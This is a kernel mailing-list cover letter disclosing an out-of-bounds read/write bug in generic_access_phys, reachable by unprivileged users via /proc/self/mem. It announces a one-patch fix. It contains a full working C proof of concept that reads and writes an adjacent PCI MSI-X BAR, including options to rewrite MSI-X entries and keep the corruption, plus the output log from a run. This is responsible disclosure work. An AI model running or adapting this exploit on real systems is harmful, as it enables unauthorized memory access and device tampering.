From: Ren Wei <enjou1224z@gmail.com>
To: linux-mm@kvack.org
Cc: akpm@linux-foundation.org, david@kernel.org, ljs@kernel.org,
liam@infradead.org, vbabka@kernel.org, rppt@kernel.org,
surenb@google.com, mhocko@suse.com, notasas@gmail.com,
vega@nebusec.ai, rakukuip@gmail.com, enjou1224z@gmail.com
Subject: [PATCH 0/1] mm: fix out-of-bounds access in generic_access_phys
Date: Tue, 21 Jul 2026 22:26:03 +0800 [thread overview]
Message-ID: <cover.1784428532.git.rakukuip@gmail.com> (raw)
From: Luxiao Xu <rakukuip@gmail.com>
Hi Linux kernel maintainers,
We found and validated an issue in mm/memory.c. The bug is reachable by a non-root user via /proc/self/mem. We've tested it, and the proposed fix addresses the vulnerability without affecting other functionality.
We provide the detailed information about the bug below, along with a PoC to trigger it.
---- details below ----
Bug details:
The generic_access_phys() function in mm/memory.c fails to properly validate the memory access range when handling requests, such as those made via /proc/self/mem. It validates only the start address using follow_pfnmap_start() and then proceeds to ioremap the entire requested length. It does not verify if the access range stays within the VMA boundaries or if it crosses into adjacent physical/MMIO mappings.
This behavior allows an attacker to perform out-of-bounds (OOB) reads or writes by providing a length that spans across the end of the current VMA, leading to unauthorized access to adjacent memory regions.
The fix involves iterating through the access request in page-sized chunks. For each chunk, we verify the validity of the current PFNMAP entry, map only the necessary page, perform the I/O operation, and immediately unmap it. This ensures the access is strictly bound to authorized memory regions.
Reproducer:
gcc -O2 -static -o poc poc.c
unshare -Urn ./poc
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.c------
#define _GNU_SOURCE
#define _FILE_OFFSET_BITS 64
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
#define PAGE_SZ 4096U
#define DEFAULT_BASE "/sys/bus/pci/devices/0000:00:02.0/resource2"
#define DEFAULT_NEXT "/sys/bus/pci/devices/0000:00:03.0/resource1"
struct config {
const char *base_path;
const char *next_path;
size_t tail;
size_t cmp_len;
bool do_write;
bool keep_corruption;
bool rewrite_msix_data;
uint32_t msix_data;
bool rewrite_msix_addr_low;
bool rewrite_msix_addr_high;
uint32_t msix_addr_low;
uint32_t msix_addr_high;
};
static void usage(const char *prog)
{
fprintf(stderr,
"Usage: %s [--base PATH] [--next PATH] [--tail N] [--cmp-len N] [--write] [--keep-corruption]\n"
" [--rewrite-msix-data HEX] [--rewrite-msix-addr-low HEX]\n"
" [--rewrite-msix-addr-high HEX]\n"
"\n"
"Default target maps QEMU's 4 KiB VGA BAR (00:02.0 resource2) and\n"
"uses /proc/self/mem to read or write past that VMA into the adjacent\n"
"virtio-net MSI-X BAR page (00:03.0 resource1).\n",
prog);
}
static void die_perror(const char *what)
{
perror(what);
exit(EXIT_FAILURE);
}
static size_t parse_size(const char *arg, const char *name)
{
char *end = NULL;
unsigned long long value;
errno = 0;
value = strtoull(arg, &end, 0);
if (errno || !end || *end) {
fprintf(stderr, "invalid %s: %s\n", name, arg);
exit(EXIT_FAILURE);
}
if (value == 0 || value > PAGE_SZ) {
fprintf(stderr, "%s must be in range 1..%u\n", name, PAGE_SZ);
exit(EXIT_FAILURE);
}
return (size_t)value;
}
static uint32_t parse_u32(const char *arg, const char *name)
{
char *end = NULL;
unsigned long long value;
errno = 0;
value = strtoull(arg, &end, 0);
if (errno || !end || *end || value > UINT32_MAX) {
fprintf(stderr, "invalid %s: %s\n", name, arg);
exit(EXIT_FAILURE);
}
return (uint32_t)value;
}
static void parse_args(int argc, char **argv, struct config *cfg)
{
int i;
*cfg = (struct config) {
.base_path = DEFAULT_BASE,
.next_path = DEFAULT_NEXT,
.tail = 16,
.cmp_len = 64,
.do_write = false,
.keep_corruption = false,
.rewrite_msix_data = false,
.msix_data = 0,
.rewrite_msix_addr_low = false,
.rewrite_msix_addr_high = false,
.msix_addr_low = 0,
.msix_addr_high = 0,
};
for (i = 1; i < argc; i++) {
if (!strcmp(argv[i], "--base") && i + 1 < argc) {
cfg->base_path = argv[++i];
} else if (!strcmp(argv[i], "--next") && i + 1 < argc) {
cfg->next_path = argv[++i];
} else if (!strcmp(argv[i], "--tail") && i + 1 < argc) {
cfg->tail = parse_size(argv[++i], "tail");
} else if (!strcmp(argv[i], "--cmp-len") && i + 1 < argc) {
cfg->cmp_len = parse_size(argv[++i], "cmp-len");
} else if (!strcmp(argv[i], "--write")) {
cfg->do_write = true;
} else if (!strcmp(argv[i], "--keep-corruption")) {
cfg->keep_corruption = true;
} else if (!strcmp(argv[i], "--rewrite-msix-data") && i + 1 < argc) {
cfg->do_write = true;
cfg->rewrite_msix_data = true;
cfg->msix_data = parse_u32(argv[++i], "rewrite-msix-data");
} else if (!strcmp(argv[i], "--rewrite-msix-addr-low") && i + 1 < argc) {
cfg->do_write = true;
cfg->rewrite_msix_addr_low = true;
cfg->msix_addr_low = parse_u32(argv[++i], "rewrite-msix-addr-low");
} else if (!strcmp(argv[i], "--rewrite-msix-addr-high") && i + 1 < argc) {
cfg->do_write = true;
cfg->rewrite_msix_addr_high = true;
cfg->msix_addr_high = parse_u32(argv[++i], "rewrite-msix-addr-high");
} else {
usage(argv[0]);
exit(EXIT_FAILURE);
}
}
if (cfg->tail + cfg->cmp_len > PAGE_SZ) {
fprintf(stderr, "tail + cmp-len must fit within a single 4 KiB access\n");
exit(EXIT_FAILURE);
}
}
static int open_rw(const char *path)
{
int fd = open(path, O_RDWR | O_SYNC);
if (fd < 0)
die_perror(path);
return fd;
}
static void *map_page(int fd, off_t offset, const char *name)
{
void *map;
map = mmap(NULL, PAGE_SZ, PROT_READ | PROT_WRITE, MAP_SHARED, fd, offset);
if (map == MAP_FAILED)
die_perror(name);
return map;
}
static void hexdump(const char *label, const unsigned char *buf, size_t len)
{
size_t i;
printf("%s (%zu bytes):", label, len);
for (i = 0; i < len; i++) {
if (!(i % 16))
printf("\n %04zx:", i);
printf(" %02x", buf[i]);
}
printf("\n");
}
static ssize_t checked_pread(int fd, void *buf, size_t len, off_t off, const char *what)
{
ssize_t ret = pread(fd, buf, len, off);
if (ret < 0)
die_perror(what);
return ret;
}
static ssize_t checked_pwrite(int fd, const void *buf, size_t len, off_t off, const char *what)
{
ssize_t ret = pwrite(fd, buf, len, off);
if (ret < 0)
die_perror(what);
return ret;
}
int main(int argc, char **argv)
{
struct config cfg;
unsigned char *base_map;
unsigned char *next_map;
unsigned char *buf;
unsigned char *base_tail;
unsigned char *next_bytes;
unsigned char *payload;
unsigned char *saved_next;
size_t total_len;
size_t i;
int base_fd;
int next_fd;
int mem_fd;
ssize_t ret;
off_t mem_off;
int rc = EXIT_FAILURE;
parse_args(argc, argv, &cfg);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
total_len = cfg.tail + cfg.cmp_len;
base_fd = open_rw(cfg.base_path);
next_fd = open_rw(cfg.next_path);
mem_fd = open("/proc/self/mem", O_RDWR);
if (mem_fd < 0)
die_perror("/proc/self/mem");
base_map = map_page(base_fd, 0, cfg.base_path);
next_map = map_page(next_fd, 0, cfg.next_path);
buf = calloc(1, total_len);
base_tail = calloc(1, cfg.tail);
next_bytes = calloc(1, cfg.cmp_len);
payload = calloc(1, total_len);
saved_next = calloc(1, cfg.cmp_len);
if (!buf || !base_tail || !next_bytes || !payload || !saved_next)
die_perror("calloc");
mem_off = (off_t)(uintptr_t)(base_map + PAGE_SZ - cfg.tail);
printf("base mapping: %s -> %p\n", cfg.base_path, base_map);
printf("next mapping: %s -> %p\n", cfg.next_path, next_map);
printf("proc-self-mem offset: 0x%llx\n", (unsigned long long)mem_off);
printf("request: start at base+0x%zx, read %zu bytes\n",
PAGE_SZ - cfg.tail, total_len);
ret = checked_pread(mem_fd, buf, total_len, mem_off, "pread(/proc/self/mem)");
printf("pread(/proc/self/mem) returned %zd bytes\n", ret);
if ((size_t)ret != total_len) {
fprintf(stderr,
"short read: expected %zu bytes but got %zd\n",
total_len, ret);
goto out;
}
ret = checked_pread(mem_fd, base_tail, cfg.tail, mem_off,
"pread(base tail via /proc/self/mem)");
if ((size_t)ret != cfg.tail) {
fprintf(stderr, "short base-tail read: expected %zu bytes but got %zd\n",
cfg.tail, ret);
goto out;
}
ret = checked_pread(mem_fd, next_bytes, cfg.cmp_len,
(off_t)(uintptr_t)next_map,
"pread(next mapping via /proc/self/mem)");
if ((size_t)ret != cfg.cmp_len) {
fprintf(stderr, "short next-page read: expected %zu bytes but got %zd\n",
cfg.cmp_len, ret);
goto out;
}
hexdump("base tail via direct /proc/self/mem read", base_tail, cfg.tail);
hexdump("next page via direct /proc/self/mem read", next_bytes, cfg.cmp_len);
hexdump("cross-boundary bytes via /proc/self/mem", buf, total_len);
if (memcmp(buf, base_tail, cfg.tail)) {
fprintf(stderr, "base tail mismatch\n");
goto out;
}
if (memcmp(buf + cfg.tail, next_bytes, cfg.cmp_len)) {
fprintf(stderr, "next page mismatch\n");
goto out;
}
printf("OOB read confirmed: bytes past the 4 KiB VMA boundary came from %s\n",
cfg.next_path);
if (!cfg.do_write) {
rc = EXIT_SUCCESS;
goto out;
}
memcpy(saved_next, next_bytes, cfg.cmp_len);
memcpy(payload, base_tail, cfg.tail);
if (cfg.rewrite_msix_data) {
memcpy(payload + cfg.tail, next_bytes, cfg.cmp_len);
for (i = 0; i + 16 <= cfg.cmp_len; i += 16) {
uint32_t *addr_low = (uint32_t *)(payload + cfg.tail + i + 0);
uint32_t *addr_high = (uint32_t *)(payload + cfg.tail + i + 4);
uint32_t *data = (uint32_t *)(payload + cfg.tail + i + 8);
uint32_t *vector_ctl = (uint32_t *)(payload + cfg.tail + i + 12);
if (cfg.rewrite_msix_addr_low)
*addr_low = cfg.msix_addr_low;
if (cfg.rewrite_msix_addr_high)
*addr_high = cfg.msix_addr_high;
if (cfg.rewrite_msix_data)
*data = cfg.msix_data;
*vector_ctl = 0;
}
} else {
for (i = 0; i < cfg.cmp_len; i++)
payload[cfg.tail + i] = (unsigned char)(0xa0U + (i & 0x1f));
}
ret = checked_pwrite(mem_fd, payload, total_len, mem_off,
"pwrite(/proc/self/mem)");
printf("pwrite(/proc/self/mem) returned %zd bytes\n", ret);
if ((size_t)ret != total_len) {
fprintf(stderr,
"short write: expected %zu bytes but got %zd\n",
total_len, ret);
goto out;
}
ret = checked_pread(mem_fd, next_bytes, cfg.cmp_len,
(off_t)(uintptr_t)next_map,
"verify next mapping after OOB write");
if ((size_t)ret != cfg.cmp_len) {
fprintf(stderr, "short next-page verify read: expected %zu bytes but got %zd\n",
cfg.cmp_len, ret);
goto out;
}
if (memcmp(next_bytes, payload + cfg.tail, cfg.cmp_len)) {
fprintf(stderr,
"OOB write verification failed: next mapping did not change\n");
goto out;
}
hexdump("next page after OOB write", next_bytes, cfg.cmp_len);
printf("OOB write confirmed: /proc/self/mem modified %s outside the mapped VMA\n",
cfg.next_path);
if (!cfg.keep_corruption) {
memcpy(payload, base_tail, cfg.tail);
memcpy(payload + cfg.tail, saved_next, cfg.cmp_len);
ret = checked_pwrite(mem_fd, payload, total_len, mem_off,
"restore pwrite(/proc/self/mem)");
if ((size_t)ret != total_len) {
fprintf(stderr, "failed to restore target bytes cleanly\n");
goto out;
}
printf("restored the overwritten target bytes\n");
}
rc = EXIT_SUCCESS;
out:
free(saved_next);
free(payload);
free(next_bytes);
free(base_tail);
free(buf);
munmap(next_map, PAGE_SZ);
munmap(base_map, PAGE_SZ);
close(mem_fd);
close(next_fd);
close(base_fd);
return rc;
}
------END poc.c--------
----BEGIN crash log----
root@syzkaller:/mnt/home_host/new_poc# ./poc
base mapping: /sys/bus/pci/devices/0000:00:02.0/resource2 -> 0x7f776a982000
next mapping: /sys/bus/pci/devices/0000:00:03.0/resource1 -> 0x7f776a981000
proc-self-mem offset: 0x7f776a982ff0
request: start at base+0xff0, read 80 bytes
[ 1503.056194][ T9289] resource: resource sanity check: requesting [mem 0x00000]
[ 1503.057925][ T9289] caller generic_access_phys+0x12b/0x4c0 mapping multiple s
pread(/proc/self/mem) returned 80 bytes
base tail via direct /proc/self/mem read (16 bytes):
0000: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
next page via direct /proc/self/mem read (64 bytes):
0000: 00 00 e0 fe 00 00 00 00 24 00 00 00 00 00 00 00
0010: 00 10 e0 fe 00 00 00 00 25 00 00 00 00 00 00 00
0020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
cross-boundary bytes via /proc/self/mem (80 bytes):
0000: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
0010: 00 00 e0 fe 00 00 00 00 24 00 00 00 00 00 00 00
0020: 00 10 e0 fe 00 00 00 00 25 00 00 00 00 00 00 00
0030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
OOB read confirmed: bytes past the 4 KiB VMA boundary came from /sys/bus/pci/de1
-----END crash log-----
Best regards,
Luxiao Xu
Luxiao Xu (1):
mm: fix out-of-bounds access and race in generic_access_phys
mm/memory.c | 79 ++++++++++++++++++++++++++++++-----------------------
1 file changed, 45 insertions(+), 34 deletions(-)
--
2.43.0
next reply other threads:[~2026-07-21 14:26 UTC|newest]
Thread overview: 4+ messages / expand[flat|nested] mbox.gz Atom feed top
2026-07-21 14:26 Ren Wei [this message]
2026-07-21 14:26 ` [PATCH 1/1] mm: fix out-of-bounds access and race in generic_access_phys Ren Wei
2026-07-21 14:49 ` David Hildenbrand (Arm)
2026-07-21 21:12 ` Andrew Morton
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=cover.1784428532.git.rakukuip@gmail.com \
--to=enjou1224z@gmail.com \
--cc=akpm@linux-foundation.org \
--cc=david@kernel.org \
--cc=liam@infradead.org \
--cc=linux-mm@kvack.org \
--cc=ljs@kernel.org \
--cc=mhocko@suse.com \
--cc=notasas@gmail.com \
--cc=rakukuip@gmail.com \
--cc=rppt@kernel.org \
--cc=surenb@google.com \
--cc=vbabka@kernel.org \
--cc=vega@nebusec.ai \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox